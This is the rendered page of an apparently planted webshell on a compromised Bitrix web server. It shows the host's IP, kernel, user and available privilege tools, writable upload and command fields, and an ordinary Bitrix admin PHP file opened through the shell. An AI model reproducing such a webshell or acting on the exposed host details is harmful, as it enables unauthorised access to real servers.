403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/sale/admin/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/sale/admin/1c_admin_bizval.php
<?php

if (!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true)
{
	die();
}

/** @global CMain $APPLICATION */

use	Bitrix\Sale\Helpers\Admin\BusinessValueControl;
use Bitrix\Main\Context;
use Bitrix\Main\Loader;
use Bitrix\Main\Localization\Loc;

$salePermissions = $APPLICATION->GetGroupRight('sale');

if ($salePermissions < 'R')
{
	return;
}

Loader::includeModule('sale');

Loc::loadMessages(__FILE__);

$request = Context::getCurrent()->getRequest();

require_once $_SERVER['DOCUMENT_ROOT'] . '/bitrix/modules/sale/lib/helpers/admin/businessvalue.php';

$errors = [];

$businessValueControl = new BusinessValueControl('bizval');

if ($request->isPost() && $request->getPost('Update') !== null && $salePermissions >= 'W' && check_bitrix_sessid())
{
	if ($isSuccess = $businessValueControl->setMapFromPost())
	{
		$businessValueControl->saveMap();
	}
}

?>
	<tr>
		<td colspan="2">
			<?= Loc::getMessage('BIZVAL_PAGE_LINK_PTYPES_V2'); ?>
			<br>&nbsp;
		</td>
	</tr>
	<tr>
		<td colspan="2">
			<?php
			$businessValueControl->renderMap([
				'CONSUMER_KEY' => '1C',
				'HIDE_FILLED_CODES' => false,
			]);
			?>
		</td>
	</tr>
<?php

Youez - 2016 - github.com/yon3zu
LinuXploit